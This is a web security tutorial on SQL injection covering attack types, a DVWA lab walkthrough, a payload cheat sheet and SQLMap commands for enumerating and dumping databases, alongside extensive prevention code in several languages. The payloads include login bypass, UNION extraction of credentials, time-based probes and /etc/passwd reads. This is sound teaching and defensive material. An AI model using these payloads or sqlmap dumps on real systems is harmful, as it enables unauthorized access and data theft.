GO KALI FREE
IntermediateWeb Security

What Is SQL Injection? Types, Examples & How to Prevent SQL Injection Attacks

What is SQL injection? See real SQL injection examples, a worked DVWA lab test, and how to prevent SQL injection with parameterized queries.

#what is sql injection#how to prevent sql injection#sql injection attack#sql injection types#sql injection examples#sql injection cheat sheet#sql injection vs xss#web security

When a Text Box Drains the Database

A text box on a login page. The attacker types: ' OR 1=1 --. The database returns every user row. This is SQL Injection (SQLi) — the most damaging web application vulnerability of the past two decades. When user input is included directly in SQL queries without sanitization, attackers can read, modify, or delete your entire database.

Impact of SQL Injection

The consequences of a successful SQL injection attack can be devastating:

  • Data Breach: Unauthorized access to sensitive data including passwords, personal information, and financial records
  • Data Loss: Deletion of entire database tables
  • Data Corruption: Modification of data integrity
  • Authentication Bypass: Accessing restricted areas without valid credentials
  • Privilege Escalation: Gaining administrative access to the database
  • Remote Code Execution: In severe cases, full compromise of the database server
  • What Is SQL Injection?

    SQL injection is a web security vulnerability that lets an attacker interfere with the queries an application makes to its database. It happens when user input is concatenated directly into a SQL statement, so the database cannot tell where the developer's SQL ends and the attacker's input begins — and the attacker's input is executed as code.

    SQL injection still matters in 2026 because it is still one of the most common and most damaging web flaws. Injection sits at A03 in the OWASP Top 10:2021, and SQL injection is the best-known member of that family. Login forms, search boxes, URL parameters, and API endpoints all take input that can reach a database — and every one of them is a test point. The fix has been known for years, yet vulnerable code keeps shipping, which is why this attack still appears in breach reports and bug-bounty writeups.

    How SQL Injection Works

    Vulnerable Code Example

    Consider a login form that builds a query by directly concatenating user input:

    $query = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "' AND password = '" . $_POST['password'] . "'";
    

    When an attacker enters admin' -- as the username, the query becomes:

    SELECT * FROM users WHERE username = 'admin' --' AND password = ''
    

    The -- comments out the password check, allowing authentication as admin without knowing the password.

    Data Extraction with UNION

    ' UNION SELECT username, password FROM users --
    

    This adds the contents of the users table to the query results, potentially exposing all credentials.

    Blind Injection Example

    Time-based detection in MySQL:

    ' OR IF(1=1, SLEEP(5), 0) --
    

    If the response takes 5 seconds, SQL injection is confirmed.

    Types of SQL Injection

    In-band SQL Injection

    The attacker uses the same channel to inject code and retrieve results. This is the most common and straightforward type.

    Error-based SQLi: Relies on error messages from the database to gather information about its structure. For example, intentionally causing type errors reveals column names and data types.

    Union-based SQLi: Uses the UNION SQL operator to combine results from multiple queries, extracting data from other tables. The attacker must match the number of columns in the original query.

    Blind SQL Injection

    The attacker cannot see direct query results but can infer information based on the application's behavior.

    Boolean-based Blind SQLi: Sends queries that return true or false and observes differences in application responses. For example, checking if a character in a password is greater than a specific value.

    Time-based Blind SQLi: Uses database time delay functions like SLEEP() or WAITFOR to infer information based on response times. A delayed response confirms the condition was true.

    Out-of-band SQL Injection

    The attacker uses a different channel to receive data, such as DNS or HTTP requests. This is used when the application does not display query results or error messages.

    Second-order SQL Injection

    Second-order injection stores the payload first and executes it later. The attacker registers a username such as admin' --, the application stores it safely, and a different feature — a profile page, an admin panel, a report — later builds a query with that stored value without parameterization. The attack fires far from where the input entered, which is why it survives code reviews that only check the input form.

    SQL Injection Types Compared

    TypeHow the attacker sees resultsTypical payloadDifficulty
    Error-based (in-band)Database error messages in the page' AND 1=CONVERT(int, @@version) --Easy
    Union-based (in-band)Extra rows in the normal page output' UNION SELECT username, password FROM users --Medium
    Boolean-based blindPage content changes between true and false' AND SUBSTRING(password,1,1)='a' --Medium
    Time-based blindResponse delay confirms a true condition' OR IF(1=1, SLEEP(5), 0) --Medium
    Out-of-bandData arrives over DNS or HTTP to the attacker' UNION SELECT LOAD_FILE('/etc/passwd') --Hard
    Second-orderStored input executes in a later queryadmin' -- as a stored usernameHard

    How to Prevent SQL Injection Attacks

    Preventing SQL injection is a layered job. One layer — parameterized queries — does almost all of the work. The other layers exist because real applications have edge cases: dynamic table names, legacy code, stored procedures, and operations teams that need defense in depth. Apply the layers in order.

    1. Use Parameterized Queries (Prepared Statements)

    The most effective defense. Placeholders separate SQL code from user data: the database parses the SQL structure first, then binds the values as pure data. User input can never change the logic of the query.

    Python (psycopg2 for PostgreSQL):

    import psycopg2
    conn = psycopg2.connect(dbname="appdb", user="app_user", password="change-me")
    cursor = conn.cursor()
    cursor.execute(
        "SELECT * FROM users WHERE username = %s AND password = %s",
        (username, password)
    )
    

    Python (sqlite3):

    import sqlite3
    conn = sqlite3.connect("app.db")
    cursor = conn.cursor()
    cursor.execute(
        "SELECT * FROM users WHERE username = ? AND password = ?",
        (username, password)
    )
    

    PHP (PDO — use real prepared statements):

    $pdo = new PDO("mysql:host=localhost;dbname=appdb", "app_user", "change-me");
    // Critical: use real prepared statements, not emulated ones
    $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
    $stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
    $stmt->execute(['username' => $username]);
    $user = $stmt->fetch();
    

    With ATTR_EMULATE_PREPARES left at its default, PDO emulates prepared statements inside PHP instead of asking the database to prepare them. Emulation is usually safe, but real preparation removes an entire class of edge cases — set it to false and let the database do the work.

    Java (PreparedStatement):

    String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
    PreparedStatement stmt = conn.prepareStatement(sql);
    stmt.setString(1, username);
    stmt.setString(2, password);
    ResultSet rs = stmt.executeQuery();
    

    Node.js (mysql2):

    const [rows] = await db.execute(
      'SELECT * FROM users WHERE username = ? AND password = ?',
      [username, password]
    );
    

    C# (SqlCommand):

    using var cmd = new SqlCommand(
        "SELECT * FROM users WHERE username = @username AND password = @password", conn);
    cmd.Parameters.AddWithValue("@username", username);
    cmd.Parameters.AddWithValue("@password", password);
    

    ORMs — parameterized by default, but raw queries are not:

    # Django ORM — parameterized automatically
    user = User.objects.filter(username=username).first()
    
    # Laravel Eloquent — parameterized automatically
    $user = User::where('username', $username)->first();
    
    # DANGER: raw SQL with string interpolation is still injectable
    # NEVER do this, in any framework:
    query = f"SELECT * FROM users WHERE username = '{username}'"  # vulnerable
    

    The rule is absolute: never interpolate or concatenate user input into a SQL string, even inside an ORM. Always use the framework's parameter binding.

    2. Use Stored Procedures — Done Right

    Use pre-compiled stored procedures instead of dynamic SQL:

    CREATE PROCEDURE GetUser @Username nvarchar(50)
    AS
    SELECT * FROM users WHERE username = @Username
    

    Stored procedures reduce risk, but they do not eliminate it. If a stored procedure dynamically constructs SQL with string concatenation inside the procedure, it remains vulnerable. Use parameterized stored procedures and validate all input even when using them.

    3. Allow-List Input Validation

    Validate input types (numeric, email, alphanumeric), whitelist allowed characters, and reject suspicious SQL patterns. Validation is a supporting layer, not a replacement for parameterization.

    The one place validation is the primary defense is dynamic identifiers — table names, column names, and sort directions cannot be parameterized. Restrict them to a fixed, application-owned list:

    ALLOWED_SORT_COLUMNS = {"username", "email", "created_at"}
    sort = request.args.get("sort", "username")
    if sort not in ALLOWED_SORT_COLUMNS:
        sort = "username"
    query = f"SELECT * FROM users ORDER BY {sort}"  # safe: sort is allow-listed
    

    4. Escaping Alone Is Not Enough

    Escaping user-supplied input — adding backslashes before quotes, or doubling quotes — depends on the database engine, the character set, and the context of the query. It fails when the escaping function does not match the database's escaping rules, when multibyte characters are involved, or when the input lands in a numeric context with no quotes at all. Treat escaping as a legacy compatibility measure, never as the defense. Parameterization replaces it entirely.

    5. Enforce Least-Privilege Database Accounts

    Database accounts should have minimum necessary permissions. The account your web application uses should be able to read and write its own tables — and nothing else:

    -- MySQL: create a minimal-privilege application user
    CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'change-me';
    GRANT SELECT, INSERT, UPDATE, DELETE ON appdb.* TO 'app_user'@'localhost';
    -- Deliberately NOT granted: DROP, CREATE, ALTER, FILE, SUPER, GRANT
    

    Application accounts should not have DDL permissions. Separate read and write accounts where the application allows it. Even if injection succeeds, limited privileges prevent attackers from dropping tables or modifying schema.

    6. Use a Web Application Firewall as a Last Layer

    WAFs can detect and block SQL injection attempts based on known patterns. A WAF is a useful safety net — it can stop automated scanners and known payloads before they reach the application. But determined attackers bypass WAFs with encoding tricks, comment obfuscation, and case variation, so a WAF should be one layer in a defense-in-depth strategy, not the primary protection. Always implement parameterized queries at the application layer.

    7. Hide Database Error Details

    Verbose database errors hand the attacker the schema. Configure production to show a generic error page and log the detail server-side only:

    // php.ini (production)
    display_errors = Off
    log_errors = On
    
    # Flask: generic 500 page, detail goes to the log only
    @app.errorhandler(500)
    def server_error(error):
        app.logger.exception("Database error")
        return "Something went wrong. Please try again later.", 500
    

    Error-based SQL injection depends on the application leaking database errors. Removing the leak removes the entire error-based class.

    Worked Example: Finding and Fixing SQL Injection on a DVWA Lab

    This example runs entirely on a lab you own: DVWA (Damn Vulnerable Web Application) on localhost with security level set to Low. Never run these tests against a site you do not own or have written authorization to test.

    Step 1: Find the injection point

    Open the DVWA SQL Injection page and enter a single quote in the user-ID field:

    Input:  '
    Result: You have an error in your SQL syntax; check the manual that
    corresponds to your MySQL server version for the right syntax to use
    near ''' at line 1
    

    A database syntax error from a single quote is the classic confirmation: the input reaches the SQL query unescaped. (All outputs in this example are illustrative.)

    Step 2: Return every row with a boolean payload

    Enter the boolean payload in the same field:

    Input:  ' OR 1=1 --
    Result: the page returns the first user row instead of an error
    

    The query the application builds is now:

    SELECT first_name, last_name FROM users WHERE user_id = '' OR 1=1 --'
    

    1=1 is always true, so the WHERE clause matches every row, and -- comments out the rest of the original query.

    Step 3: Count the columns with ORDER BY

    UNION-based extraction needs the same number of columns as the original query. Probe with ORDER BY until the page errors:

    Input:  ' ORDER BY 1 --   -> works
    Input:  ' ORDER BY 2 --   -> works
    Input:  ' ORDER BY 3 --   -> error: Unknown column '3' in 'order clause'
    

    The query has 2 columns.

    Step 4: Extract data with UNION SELECT

    Input:  ' UNION SELECT user, password FROM users --
    Result: rows from the users table appear in the page output
    

    To learn the database structure first, enumerate it the same way:

    ' UNION SELECT table_name, column_name FROM information_schema.columns --
    

    Step 5: Fix the same page with a parameterized query

    The vulnerable PHP builds the query by concatenation. The fix replaces concatenation with a prepared statement:

    // VULNERABLE — do not use
    $query = "SELECT first_name, last_name FROM users WHERE user_id = '" . $_GET['id'] . "'";
    
    // FIXED — parameterize the input
    $stmt = $pdo->prepare("SELECT first_name, last_name FROM users WHERE user_id = :id");
    $stmt->execute(['id' => $_GET['id']]);
    

    Re-run the same payloads against the fixed page: the single quote returns no rows (or a clean "no user found" message), ' OR 1=1 -- matches nothing, and the UNION payload is treated as a literal ID string. The attack is gone because the input can no longer change the query's structure.

    Testing for SQL Injection

    Manual Testing Workflow

    Look for inputs such as search fields, login forms, URL parameters, and API endpoints. Test with simple payloads, in this order:

  • Single quote: '
  • SQL comments: --, #
  • Boolean tests: ' OR '1'='1, ' AND '1'='0
  • Time delays: ' OR SLEEP(5)--
  • UNION probe: ' UNION SELECT NULL, NULL -- (adjust the NULL count to the column count you found with ORDER BY)
  • Work through the workflow deliberately: map every input, probe with a quote, confirm with a boolean true/false pair, escalate to UNION or time-based only after confirmation, and record every finding with the exact payload and response.

    Automated Tools

    SQLMap is the most popular automated SQL injection tool:

    # Basic scan
    sqlmap -u "http://example.com/page?id=1" --batch
    
    # Enumerate databases
    sqlmap -u "http://example.com/page?id=1" --dbs
    
    # Extract tables
    sqlmap -u "http://example.com/page?id=1" -D database --tables
    
    # Dump data
    sqlmap -u "http://example.com/page?id=1" -D database -T users --dump
    
    # Deeper scan: test all techniques, higher level and risk
    sqlmap -u "http://example.com/page?id=1" --batch --technique=BEUSTQ --level=3 --risk=2
    
    # POST form data (capture the request from Burp Suite first)
    sqlmap -u "http://example.com/login" --data="username=test&password=test" --batch
    
    # WAF in front of your own lab: try tamper scripts (lab only, authorized targets only)
    sqlmap -u "http://example.com/page?id=1" --batch --tamper=space2comment
    
    terminal screenshot
    [sqlmap-exploit-output] — SQLmap terminal output showing extracted database tables and records
    Figure 1: SQLmap automated SQL injection exploitation output
    ToolWhat it is used for
    SQLMapAutomated detection and exploitation; enumerates databases, tables, and data
    Burp Suite RepeaterManual payload testing, one request at a time, with full response inspection
    Burp Suite IntruderAutomating payload lists (boolean/time probes) across many inputs
    OWASP ZAPAutomated scanning plus manual request editing; free alternative to Burp
    WapitiCommand-line web vulnerability scanner with SQL injection checks

    SQL Injection Cheat Sheet

    Detection Payloads

    GoalPayload
    Confirm injection'
    Boolean true' OR '1'='1
    Boolean false' AND '1'='0
    Comment out the rest' -- (MySQL, PostgreSQL, MSSQL, Oracle) or ' # (MySQL)
    Find column count' ORDER BY 1 --, increase until error
    UNION extraction' UNION SELECT NULL, NULL -- (match column count)
    MySQL time delay' OR IF(1=1, SLEEP(5), 0) --
    PostgreSQL time delay' OR pg_sleep(5) --
    MSSQL time delay' OR WAITFOR DELAY '0:0:5' --
    Oracle time delay' OR DBMS_LOCK.SLEEP(5) -- (needs execute privilege)
    Enumerate tables (MySQL)' UNION SELECT table_name, NULL FROM information_schema.tables --
    Enumerate columns (MySQL)' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users' --
    Current database version' UNION SELECT @@version, NULL --

    Prevention Quick Reference

    Language / frameworkCorrect pattern
    Python (psycopg2)cursor.execute("... WHERE username = %s", (username,))
    Python (sqlite3)cursor.execute("... WHERE username = ?", (username,))
    PHP (PDO)prepare() + execute() with ATTR_EMULATE_PREPARES = false
    JavaPreparedStatement with ? and setString()
    Node.js (mysql2)db.execute("... WHERE username = ?", [username])
    C#SqlCommand with @username parameters
    Django / Laravel / SpringORM query methods (never raw SQL with interpolation)
    Dynamic identifiersAllow-list of fixed column/table names only

    SQLMap Quick Reference

    TaskCommand
    Basic scansqlmap -u "URL" --batch
    List databasessqlmap -u "URL" --dbs
    List tablessqlmap -u "URL" -D db --tables
    Dump a tablesqlmap -u "URL" -D db -T users --dump
    Test POST datasqlmap -u "URL" --data="a=1&b=2" --batch
    All techniquessqlmap -u "URL" --technique=BEUSTQ --level=3 --risk=2
    Current user / DBsqlmap -u "URL" --current-user --current-db

    SQL Injection vs XSS vs CSRF vs Command Injection

    VulnerabilityWhat it targetsAttacker goalPrimary fix
    SQL injectionThe application's database queriesRead, modify, or delete database dataParameterized queries
    Cross-site scripting (XSS)The victim's browserRun scripts in another user's sessionContext-aware output encoding + Content Security Policy
    Cross-site request forgery (CSRF)The victim's authenticated sessionMake the browser issue unwanted requestsAnti-CSRF tokens + SameSite cookies
    Command injectionThe server's operating system shellExecute OS commands on the serverAvoid shell calls; allow-listed arguments only

    SQL injection, XSS, and CSRF are often confused because they all start with attacker-controlled input. The difference is where the injected code runs: SQL injection runs in the database, XSS runs in the victim's browser, CSRF abuses the victim's session, and command injection runs in the server's shell.

    Database-Specific Considerations

    MySQL

    Comments with -- and #, information schema in information_schema, version with @@version. Time delay with SLEEP(5). Stacked queries are not supported through most PHP MySQL drivers, which limits some attacks but does not prevent UNION or blind injection.

    PostgreSQL

    Comments with --, supports stacked queries with ;. Time delay with pg_sleep(5). Version with version(). The information_schema works the same way as in MySQL.

    MSSQL

    Comments with --, system tables in sys.tables, dangerous extended procedures like xp_cmdshell. Time delay with WAITFOR DELAY '0:0:5'. Stacked queries are supported, and xp_cmdshell can turn a SQL injection into operating-system command execution if the database account has the privilege — another reason least privilege matters.

    Oracle

    Comments with --, uses the dual table, string concatenation with ||. Time delay with DBMS_LOCK.SLEEP(5), which requires execute privilege on that package and is often unavailable. Version with SELECT banner FROM v$version. Error-based extraction frequently uses UTL_INADDR or CTXSYS functions in older versions.

    Troubleshooting SQL Injection Problems

    ProblemLikely causeFix
    SQLMap finds nothingScan level too low, or the parameter needs cookies/authRe-run with --level=3 --risk=2 and --cookie from an authenticated session
    WAF blocks every payloadThe WAF filters known patterns before the app sees themTest in your own lab without the WAF; use --tamper only on authorized lab targets
    Time-based tests give false positivesSlow network or a loaded server looks like a delayRepeat the test several times and increase the delay to 10 seconds
    Prepared statements still injectableUser input in ORDER BY, table, or column namesAllow-list identifiers — placeholders cannot protect structural SQL
    UNION fails with a column-count errorWrong number of columns in the SELECTProbe the count with ORDER BY until it errors, then match it
    Stored procedure still vulnerableDynamic SQL built by concatenation inside the procedureParameterize inside the procedure too; never build SQL from strings
    No error messages to work withErrors are hidden in productionSwitch to boolean-based or time-based blind techniques
    SQLMap keeps asking questionsInteractive mode on a long scanAdd --batch to accept the defaults non-interactively

    Common Mistakes

  • Concatenating user input into SQL — the root cause of nearly every SQL injection. Any string building with user input is vulnerable, including inside ORMs.
  • Trusting escaping alone — escaping is context-dependent and bypassable. Parameterization replaces it, not supplements it.
  • Using emulated prepared statements — PDO's default emulation prepares queries inside PHP. Set ATTR_EMULATE_PREPARES to false.
  • Parameterizing values but not identifiers — placeholders protect values only. Table names, column names, and sort directions still need an allow-list.
  • Leaving verbose database errors on in production — error messages hand the attacker the schema. Show generic errors; log the detail.
  • Running the application as a database admin — an over-privileged account turns a read-only injection into a full compromise. Least privilege limits the blast radius.
  • Treating the WAF as the fix — a WAF filters known patterns; it does not fix the vulnerable query. Fix the code, keep the WAF as a layer.
  • Best Practices

  • Parameterize every query that touches user input — no exceptions, no "this input is safe" shortcuts.
  • Validate input against an allow-list of expected types, lengths, and values.
  • Give the application database account only the permissions it needs, on only its own tables.
  • Hide database error details from users and log them server-side.
  • Keep database software patched — some injection vectors depend on known engine bugs.
  • Test regularly: run SQLMap against your own staging environment and review the findings before each release.
  • Is SQL Injection Testing Legal?

    Testing for SQL injection is legal only on systems you own or have written authorization to test. Lab environments such as DVWA, OWASP Juice Shop, and WebGoat exist exactly for this: install them locally, set the security level to Low, and practice freely. Testing a live site without permission is unauthorized access even when your intent is to help, and many bug-bounty programs only cover targets listed in their scope. Get authorization in writing before testing anything that is not yours.

    Summary

    SQL injection happens when user input becomes part of a SQL query instead of data inside it. The attack ranges from a login bypass with ' OR 1=1 -- to full database extraction with UNION SELECT, and blind variants work even when the application shows no results at all. The fix is layered but simple at its core: parameterize every query, validate input against an allow-list, run the application on a least-privilege database account, hide error details, and keep a WAF as a safety net rather than the defense. Test your own applications the way this article tests DVWA — and fix what you find before an attacker does.

    SQL injection remains a critical threat despite being well-understood. Using parameterized queries, validating input, and conducting regular security testing can eliminate this vulnerability from your applications.

    Knowledge Check

  • What is the root cause of SQL injection?
  • Which defense is the single most effective protection against SQL injection?
  • In PHP with PDO, why should ATTR_EMULATE_PREPARES be set to false?
  • What does the payload ' OR 1=1 -- do in a vulnerable login form?
  • How do you test for SQL injection when the application shows no query results at all?
  • Why can placeholders not protect a dynamic ORDER BY column?
  • Which SQLMap flag lists the databases on the target?
  • Which time-delay function belongs to PostgreSQL?
  • Answers: 1. User input concatenated directly into a SQL query, so the database executes it as code instead of treating it as data. 2. Parameterized queries (prepared statements), which separate the SQL structure from the data values. 3. It forces real prepared statements at the database instead of emulated ones inside PHP. 4. It makes the WHERE clause always true and comments out the password check, so the query returns rows without a valid password. 5. Use blind SQL injection: boolean-based probes that change page behavior, or time-based probes such as SLEEP(5) that delay the response. 6. Placeholders protect data values only; table names, column names, and sort directions are structural SQL and must be restricted with an allow-list. 7. --dbs. 8. pg_sleep(5); MySQL uses SLEEP(5), MSSQL uses WAITFOR DELAY, and Oracle uses DBMS_LOCK.SLEEP(5).

    Keep Learning

  • OWASP Top 10 Explained
  • SQLMap Guide
  • XSS Basics
  • CSRF Explained
  • SSRF Explained
  • Burp Suite
  • SQLMap
  • OWASP ZAP
  • Nikto
  • Frequently Asked Questions

    What is SQL injection and how does it work?

    SQL injection is a vulnerability where attackers insert malicious SQL code into input fields to manipulate database queries. It works when user input is directly concatenated into SQL statements without proper sanitization, allowing attackers to extract, modify, or delete data.

    How do I test for SQL injection vulnerabilities?

    Start by inserting single quotes, SQL comments (--), and boolean conditions like ' OR '1'='1 into input fields. Use automated tools like SQLMap for comprehensive testing. Look for database error messages in responses, which often indicate vulnerable inputs.

    What is the difference between in-band and blind SQL injection?

    In-band SQL injection returns results directly in the application response (error-based or union-based). Blind SQL injection does not return visible results — instead, attackers infer information from application behavior changes or time delays like SLEEP() functions.

    Can SQL injection affect NoSQL databases?

    Yes, NoSQL databases like MongoDB and CouchDB are also vulnerable to injection attacks, though the syntax differs. MongoDB injection typically targets JavaScript-based queries. Use parameterized queries and input validation specific to your database technology.

    How do parameterized queries prevent SQL injection?

    Parameterized queries separate SQL code from user data by using placeholders. The database engine treats user input as data, not executable code, making it impossible for injected SQL to alter the query logic. Always use prepared statements in Python, PHP, Java, and other languages.

    What is SQLMap and how do I use it?

    SQLMap is an open-source automated SQL injection tool that detects and exploits vulnerabilities across multiple database systems. Use it with sqlmap -u "http://example.com/page?id=1" --batch for basic scans. Add --dbs to enumerate databases and --dump to extract data. Always get authorization before scanning.

    Are stored procedures safe from SQL injection?

    Stored procedures reduce but do not eliminate SQL injection risk. If stored procedures dynamically construct SQL with string concatenation, they remain vulnerable. Use parameterized stored procedures and validate all input even when using them.

    How does input validation help prevent SQL injection?

    Input validation acts as a defense-in-depth layer by rejecting unexpected input patterns. Whitelist allowed characters, validate data types (numeric fields should only accept numbers), and enforce length limits. Combine validation with parameterized queries for strongest protection.

    What database-specific SQL injection techniques should I know?

    MySQL uses -- and # comments with information_schema for enumeration. PostgreSQL supports stacked queries with ;. MSSQL has dangerous procedures like xp_cmdshell. Oracle uses the dual table. Each database requires different exploitation and defense strategies.

    Can a Web Application Firewall prevent SQL injection?

    WAFs can detect and block many common SQL injection patterns, but determined attackers can often bypass them using encoding tricks and evasion techniques. WAFs should be one layer in a defense-in-depth strategy, not the primary protection. Always implement parameterized queries at the application layer.

    How do I prevent SQL injection in PHP?

    Use PDO prepared statements with real preparation enabled: create the PDO connection, set ATTR_EMULATE_PREPARES to false, prepare the query with named placeholders such as :username, and pass the values through execute(). Never build SQL by concatenating $_GET or $_POST values into the query string. For legacy MySQLi code, use mysqli_prepare() with bind_param() instead of string building.

    What is SQL injection in simple words?

    SQL injection is a trick where an attacker types database commands into an ordinary input box — a login form, a search box, a URL — and the website accidentally runs those commands against its database. Instead of checking a username, the database follows the attacker's instructions, which can leak private data, bypass logins, or delete tables. It happens when the website pastes user input directly into a database query instead of treating it as plain data.

    Is SQL injection still a problem in 2027?

    Yes. Injection is A03 in the OWASP Top 10:2021, and SQL injection remains one of the most reported web vulnerabilities in bug-bounty programs and breach reports. The fix — parameterized queries — has been known for years, but vulnerable code keeps shipping in new applications, legacy systems, and AI-generated code, so the attack still works wherever developers concatenate user input into SQL.

    What is the difference between SQL injection and XSS?

    SQL injection targets the application's database: the attacker's input runs as SQL code on the server. Cross-site scripting (XSS) targets the victim's browser: the attacker's input runs as JavaScript in another user's session. SQL injection steals or changes database data; XSS steals sessions, cookies, and credentials from users. The fixes differ too — parameterized queries stop SQL injection, while output encoding and Content Security Policy stop XSS.

    Can SQL injection lead to remote code execution?

    Yes, in severe cases. On MSSQL, an attacker with a privileged database account can use xp_cmdshell to run operating-system commands. On MySQL, INTO OUTFILE can write files to the server, and on some configurations attackers can create user-defined functions that execute code. This is why least-privilege database accounts matter: even if injection succeeds, a low-privilege account cannot reach the operating system.

    Continue Learning

    Web Security · Intermediate

    What Is CSRF? Cross-Site Request Forgery Examples & How to Prevent CSRF Attacks

    What is CSRF? Learn how cross-site request forgery tricks your browser into unwanted actions, see real examples and a DVWA worked test, and follow 7 steps to prevent CSRF attacks with tokens, SameSite cookies and framework protection.

    Web Security · Intermediate

    What Is IDOR? Insecure Direct Object Reference Examples & How to Prevent IDOR Attacks

    What is IDOR? See real insecure direct object reference examples, a worked lab test with Burp Suite, and how to prevent IDOR with server-side checks.

    Web Security · Intermediate

    What Is SSRF? Server-Side Request Forgery Examples & How to Prevent SSRF Attacks

    What is SSRF? See real server-side request forgery examples, a worked lab test, and how to prevent SSRF attacks with allowlists, IMDSv2 and egress controls.

    Web Security · Beginner

    OWASP Top 10 2025: All 10 Risks Explained With Examples & How to Test Them

    OWASP Top 10 2025 explained: all 10 risks with real examples, what changed from 2021, and how to test each one in Kali Linux, plus a cheat sheet.

    Related Security Tools

    Web Application

    SQLMap

    SQLMap is an open-source penetration testing tool that automates SQL injection detection and exploitation. It supports six SQL injection techniques (boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries, and out-of-band) and over 30 database backends including MySQL, Oracle, PostgreSQL, Microsoft SQL Server, and many more.

    Web Application

    Burp Suite

    Burp Suite is the industry-standard web application security testing platform from PortSwigger, free as Community Edition on Kali Linux. Learn how to use Burp Suite: install it, route your browser through its proxy, intercept your first request, and test it with Repeater and Intruder.

    Vulnerability Analysis

    Nikto

    Learn how to use Nikto, an open-source web server scanner written in Perl and pre-installed on Kali Linux, to audit servers you own or have written permission to test. Its 6700+ checks for potentially dangerous files and programs, plus tests for outdated software and misconfigurations, highlight issues that need verification.

    Web Security

    Security Headers Checker

    Check HTTP security headers (CSP, HSTS, X-Frame-Options, X-XSS-Protection, Referrer-Policy, and more) with security scoring.

    Written by GO KALI FREE Team